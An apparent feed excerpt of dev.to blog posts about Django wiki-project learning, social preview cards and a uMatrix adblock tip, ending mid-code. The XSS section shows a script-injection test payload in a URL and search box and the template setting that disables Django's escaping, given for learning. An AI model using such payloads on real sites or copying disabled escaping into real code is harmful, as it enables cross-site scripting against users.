&lt;p&gt;To get an image, you can also append '.png' to the URL. The end result in the stackoverflow developer story is as below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw6ayc02mqvma7l6z7nz7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw6ayc02mqvma7l6z7nz7.png" alt="alt text" width="694" height="613"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ➕ Bonus↑top
&lt;/h2&gt;

&lt;p&gt;Aside from social preview card of user, for those with sharp eyes will see that in the search result above there are social preview cards for articles and comments too!&lt;/p&gt;

&lt;p&gt;Format is as below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://dev.to/social_previews/article/{article_id}

http://dev.to/social_previews/comment/{comment_id}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same trick of including .png also applies! I just notice that this is made possible by using a service called &lt;a href="https://hcti.io" rel="noopener noreferrer"&gt;https://hcti.io&lt;/a&gt; to convert HTML&amp;amp;CSS into image.&lt;/p&gt;

&lt;p&gt;Just for fun, the cover image is the social preview card of this article. So yeah, that's more or less equivalent to a spoiler 🕊.&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>techtip</category>
      <category>portfolio</category>
      <category>restapi</category>
    </item>
    <item>
      <title>Project1 #2 - Wikipedia Search</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 14 Feb 2021 20:46:24 +0000</pubDate>
      <link>https://dev.to/middleclassdev/project1-2-wikipedia-search-14hf</link>
      <guid>https://dev.to/middleclassdev/project1-2-wikipedia-search-14hf</guid>
      <description>&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;br&gt;
After completing the first 2 specifications in the last post, this week focus is on completing the 3rd spec - a wiki search functionality. &lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
▶️ 3rd Specification
&lt;/li&gt;
&lt;li&gt;
▶️ Django Learning

&lt;ul&gt;
&lt;li&gt;
1️⃣ View must return an HttpResponse
&lt;/li&gt;
&lt;li&gt;
2️⃣ Django Cross-Site Scripting protection (XSS👿) &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;▶️ Conclusion&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;



&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  ▶️ 3rd Specification ↑top
&lt;/h2&gt;

&lt;p&gt;Search: Allow the user to type a query into the search box in the sidebar to search for an encyclopedia entry.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the query matches the name of an encyclopedia entry, the user should be redirected to that entry’s page.&lt;/li&gt;
&lt;li&gt;If the query does not match the name of an encyclopedia entry, the user should instead be taken to a search results page that displays a list of all encyclopedia entries that have the query as a substring. For example, if the search query were &lt;code&gt;Py&lt;/code&gt;, then &lt;code&gt;Python&lt;/code&gt; should appear in the search results.&lt;/li&gt;
&lt;li&gt;Clicking on any of the entry names on the search results page should take the user to that entry’s page.&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  ▶️ Django Learning ↑top
&lt;/h2&gt;

&lt;p&gt;Before jumping🦘 into what I have learnt, below is a demo of the 3rd spec. &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F7kw0knnh9txgtmvzzmwc.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F7kw0knnh9txgtmvzzmwc.gif" alt="Demo of 3rd Spec" width="1943" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  1️⃣ View must return an HttpResponse ↑top
&lt;/h3&gt;

&lt;p&gt;The error❌ "The view didn't return an HttpResponse object. It returned None instead" is shown when a search query GET request is sent to the server. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;index()&lt;/code&gt; function shown below is the function the server routes to when the GET request is received.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;encyclopedia/index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;entries&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;util&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;list_entries&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="c1"&gt;# ...
# ...
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;fuzzy_match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="c1"&gt;# ...
&lt;/span&gt;    &lt;span class="c1"&gt;# ...
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;encyclopedia/result.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;query&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fuzzy_match&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;As with many mistakes, when revisited it looks incredible obvious. This time the root cause is lack of a &lt;code&gt;return&lt;/code&gt; statement when calling &lt;code&gt;search()&lt;/code&gt;. This &lt;a href="https://stackoverflow.com/questions/26258905/the-view-didnt-return-an-httpresponse-object-it-returned-none-instead" rel="noopener noreferrer"&gt;stackoverflow question&lt;/a&gt; points me to the right direction when I was debugging this issue. &lt;/p&gt;

&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  2️⃣ Django Cross-Site Scripting protection (XSS👿) ↑top
&lt;/h3&gt;

&lt;p&gt;When working on rendering the query string in the scenario that no result matches the query string, I noticed the possibility of XSS. &lt;/p&gt;

&lt;p&gt;A simple illustration that I had in mind is a query as shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://127.0.0.1:8000/?q="&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;script&amp;gt;alert("test")&amp;lt;/script&amp;gt;

OR simply enter the text below into the search box

"&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;script&amp;gt;alert("test")&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;XSS vulnerability in action 👾&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fimyqofwg1rtrxe4exgsq.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fimyqofwg1rtrxe4exgsq.gif" alt="Alt Text" width="1942" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fortunately Django has &lt;code&gt;autoescape&lt;/code&gt;(&lt;a href="https://docs.djangoproject.com/en/3.1/ref/templates/builtins/" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;) on by default😇. Thus the demo above will not be possible. &lt;/p&gt;

&lt;p&gt;It can be made possible to confirm the possibility of XSS by explicitly turning off &lt;code&gt;autoescape&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;{% autoescape off %}
    {{ untrusted user controlled input text to be rendered }}
{% endautoescape %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ▶️ Conclusion ↑top
&lt;/h2&gt;

&lt;p&gt;That's all for this post, next up - creating and editing wiki pages! &lt;/p&gt;

&lt;p&gt;P/S: On related note regarding XSS, I imagine it will not be possible for XSS to occur by using the wiki page creation too. Will certainly keep you posted if it turns out otherwise 😉&lt;/p&gt;

</description>
      <category>django</category>
      <category>cs50w</category>
      <category>webdev</category>
      <category>backend</category>
    </item>
    <item>
      <title>DevTip #1: Prevent Adblock Detection For Privacy</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 07 Feb 2021 10:30:10 +0000</pubDate>
      <link>https://dev.to/middleclassdev/devtechtip-1-fine-tune-tracker-ads-for-privacy-3da3</link>
      <guid>https://dev.to/middleclassdev/devtechtip-1-fine-tune-tracker-ads-for-privacy-3da3</guid>
      <description>&lt;p&gt;You are caught with the redirect below when browsing for articles to solve certain issue. This prevents you from looking at the content 🤷‍♂️&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2pwkw71voyqlhzkizp0d.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F2pwkw71voyqlhzkizp0d.gif" alt="Alt Text" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a scenario that we might run into if we are using some types of adblocker or the built-in privacy tracker provided by browsers. In this post I will be sharing 🔶the solution followed by 🔷the methodology in arriving to the solution. &lt;/p&gt;

&lt;p&gt;Before that, it is important to know that sometimes it is good to let the tracker / ads to go through. There are 3 scenarios that come into my mind now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;To support your content creator / sites.&lt;/li&gt;
&lt;li&gt;To get a better browsing experience especially on banking sites.&lt;/li&gt;
&lt;li&gt;To get better personalized ads and search results. &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔶 Solution &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;My solution is to use a browser extension called uMatrix (&lt;a href="https://github.com/gorhill/uMatrix" rel="noopener noreferrer"&gt;Github&lt;/a&gt;, &lt;a href="https://chrome.google.com/webstore/detail/umatrix/ogfcmafjalglgifnmanfmnieipoejdcf" rel="noopener noreferrer"&gt;Chrome store&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/umatrix/" rel="noopener noreferrer"&gt;Firefox addon&lt;/a&gt;). It is noted that this extension is &lt;a href="https://www.wilderssecurity.com/threads/umatrix-development-has-ended.432663/" rel="noopener noreferrer"&gt;no longer in active development since Sept 2020&lt;/a&gt;, but up until now I haven't find other advanced default deny blocker that works as seamlessly as uMatrix. &lt;/p&gt;

&lt;p&gt;Having stated all that, the way to be able to browse website such as tomsguide.com or techradar.com is to allow the traffic for "vanilla.futurecdn.net". You can either add the rule manually into the uMatrix rule setting, or use the uMatrix UI to do so.&lt;/p&gt;

&lt;h4&gt;
  
  
  uMatrix Rule
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* vanilla.futurecdn.net script allow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;specific.siteurl.com vanilla.futurecdn.net script allow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I am being more specific by allowing only 'script' from vanilla.futurecdn.net. However I think it is OK to allow everything by using the &lt;code&gt;*&lt;/code&gt; wildcard. &lt;/p&gt;

&lt;h4&gt;
  
  
  uMatrix UI
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;First press the extension icon.&lt;/li&gt;
&lt;li&gt;Toggle the 'power' icon to allow all traffic (temporary disable uMatrix)&lt;/li&gt;
&lt;li&gt;Refresh the website, which will result in everything being loaded.&lt;/li&gt;
&lt;li&gt;Press the extension icon, scroll to find 'vanilla.futurecdn.net' and click on it to allow all its traffic. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;GIF below shows where to find the rule setting and the whole UI process.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F4ret0kpmix7lxc7i64tc.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F4ret0kpmix7lxc7i64tc.gif" alt="Alt Text" width="720" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Methodology &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The motivation🔥 behind sharing the methodology is that this relates to how do I usually find a solution when debugging software. By sharing my thought process here publicly I hope this will benefit others while open up to better suggestions on my methodology. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Firstly, I start by thinking of what tool that can help in this scenario. &lt;/li&gt;
&lt;li&gt;I ended up bringing up the 🧰 browser's dev tool to investigate the network traffic.&lt;/li&gt;
&lt;li&gt;I noticed that the traffic that I get is &lt;em&gt;after&lt;/em&gt; the redirect happens.
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fwi00a2tbr9dqga6co3nr.png" alt="Alt Text" width="800" height="129"&gt;
&lt;/li&gt;
&lt;li&gt;I looked around the firefox dev tool and found the &lt;code&gt;persist log&lt;/code&gt; option as shown in the picture below. This option is also available in the chrome dev tool.
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fuxkj8b05i6cx6s8o4imp.png" alt="Alt Text" width="800" height="470"&gt;
&lt;/li&gt;
&lt;li&gt;Here, I saw there are a couple of domain blocked by uMatrix. Thus, I plan to allow the traffic from those domain one at a time to test which will prevent the redirect. There's around 6 sites in this case so that is doable but in hindsight enabling half at a time might be faster. &lt;/li&gt;
&lt;li&gt;I chose google-analytics.com, quantcast.mgr.consesu.org, then lastly futurecdn.net. This is how I come to the conclusion of allowing &lt;code&gt;vanilla.futurecdn.net&lt;/code&gt; will prevent the redirect. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From my thought process in choosing which website to allow, I think what I can do better is to choose futurecdn.net as the 2nd tries. I over-analyze and chose quantcast.mgr.consesu.org because I saw the script file blocked is &lt;code&gt;choice.js&lt;/code&gt;. Next time when I came across another similar scenario I will go for the domain that is being blocked the most first =)&lt;/p&gt;

</description>
      <category>techtip</category>
      <category>privacy</category>
      <category>webbrowsing</category>
      <category>adblock</category>
    </item>
    <item>
      <title>Project1 - Wikipedia and First Look at Django</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Sun, 31 Jan 2021 12:00:08 +0000</pubDate>
      <link>https://dev.to/middleclassdev/project1-wikipedia-and-first-look-at-django-2ab3</link>
      <guid>https://dev.to/middleclassdev/project1-wikipedia-and-first-look-at-django-2ab3</guid>
      <description>&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
 ▶️ Background
&lt;/li&gt;
&lt;li&gt;
 ▶️ Jumping into Project1
&lt;/li&gt;
&lt;li&gt;
 1️⃣ First Specification

&lt;ul&gt;
&lt;li&gt;
 encyclopedia/views.py
&lt;/li&gt;
&lt;li&gt;
 encyclopedia/urls.py
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
 2️⃣ Second Specification &lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;After the HTML &amp;amp; CSS project0 of creating Google Search front-end, project1 is to design a Wikipedia-like online encyclopedia backend using Django.&lt;/p&gt;

&lt;h2&gt;
  
  
  ▶️ Background &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;The first impression on Django is surprisingly not as bad as I would have thought. I have used NodeJS and ReactJS before and frankly did had some skepticism towards the ease of use of Django. &lt;/p&gt;

&lt;p&gt;To my pleasant surprise, aside from a little getting used to Django isn't actually that convoluted. To be fair, I am used to using Python as that is my "day job" language. And I have to add on that the documentation of Django feels overwhelming with a lot of features. &lt;/p&gt;

&lt;h2&gt;
  
  
  ▶️ Jumping into Project1 &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;A little background before going into details of the 7 specifications required to complete this Wikipedia-like online encyclopedia project. The wiki pages are organized as individual markdown files with its filename as its title. Below is the directory overview:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgtcwnd25018yd85jxd1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgtcwnd25018yd85jxd1t.png" alt="Alt Text" width="206" height="619"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All the of files shown above are provided except for &lt;strong&gt;entry.html &amp;amp; notfound.html which are colored green&lt;/strong&gt;. This GIF summarized what I had done so far:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp0h75q6o3v3xppnz7ftj.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp0h75q6o3v3xppnz7ftj.gif" alt="Alt Text" width="1862" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In words, I had done the first two specifications which are as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Entry Page: Visiting &lt;code&gt;/wiki/TITLE&lt;/code&gt;, where &lt;code&gt;TITLE&lt;/code&gt; is the title of an encyclopedia entry, should render a page that displays the contents of that encyclopedia entry.

&lt;ul&gt;
&lt;li&gt;The view should get the content of the encyclopedia entry by calling the appropriate util function.&lt;/li&gt;
&lt;li&gt;If an entry is requested that does not exist, the user should be presented with an error page indicating that their requested page was not found.&lt;/li&gt;
&lt;li&gt;If the entry does exist, the user should be presented with a page that displays the content of the entry. The title of the page should include the name of the entry.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Index Page: Update &lt;code&gt;index.html&lt;/code&gt; such that, instead of merely listing the names of all pages in the encyclopedia, user can click on any entry name to be taken directly to that entry page.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  1️⃣ First Specification &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;In order to display the correct entry when &lt;code&gt;/wiki/TITLE&lt;/code&gt; is requested:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;views.py&lt;/code&gt; needs to handle the request&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;urls.py&lt;/code&gt; of the encyclopedia app need to route to the correct function in the &lt;code&gt;views.py&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  encyclopedia/views.py &lt;a&gt;&lt;/a&gt;
&lt;/h4&gt;

&lt;p&gt;Here, the &lt;a href="https://github.com/trentm/python-markdown2" rel="noopener noreferrer"&gt;markdown2 python package&lt;/a&gt; is used to convert the markdown wiki entries which are then rendered as &lt;code&gt;entry.html&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# encyclopedia/views.py
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;markdown2&lt;/span&gt;
&lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;topic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;mdStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;util&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mdStr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;markdown2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;markdown&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mdStr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;encyclopedia/entry.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;title&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;encyclopedia/notfound.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Error: Wiki page titled &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  encyclopedia/urls.py &lt;a&gt;&lt;/a&gt;
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# encyclopedia/urls.py
# ...
&lt;/span&gt;&lt;span class="n"&gt;urlpatterns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="c1"&gt;# ...
